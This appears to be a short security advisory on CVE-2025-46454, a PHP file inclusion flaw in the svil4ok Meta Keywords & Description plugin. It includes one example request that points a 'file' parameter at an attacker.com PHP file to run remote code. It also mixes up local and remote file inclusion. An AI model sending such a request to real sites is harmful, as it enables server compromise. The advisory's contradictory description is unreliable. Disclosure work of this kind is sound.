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CVE-2025-46454: PHP Remote File Inclusion Vulnerability in svil4ok Meta Keywords & Description

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Overview

This report assesses a serious vulnerability, CVE-2025-46454, that affects the svil4ok Meta Keywords & Description PHP program. This vulnerability can lead to a PHP Local File Inclusion, which could potentially compromise a system or leak sensitive data. Given that PHP is a widely used language for web development, this vulnerability could have widespread impacts.

Vulnerability Summary

CVE ID: CVE-2025-46454
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

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Product | Affected Versions

svil4ok Meta Keywords & Description | n/a to 0.8

How the Exploit Works

The exploit works by taking advantage of improper control of filename for an include/require statement in the svil4ok Meta Keywords & Description PHP program. An attacker can manipulate the filename to include a local file from the server, leading to a PHP Local File Inclusion. This could allow the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of a HTTP request that could exploit this vulnerability:

GET /include.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In the above example, the attacker is inserting their own server URL (`http://attacker.com/malicious_file.php`) into the `file` parameter. If the server processes this request, it may include the malicious file and execute any PHP code it contains.

Mitigation Guidance

It is recommended to apply the vendor patch as soon as it becomes available. In the meantime, you can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly updating and patching your PHP programs can help prevent such vulnerabilities from being exploited.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

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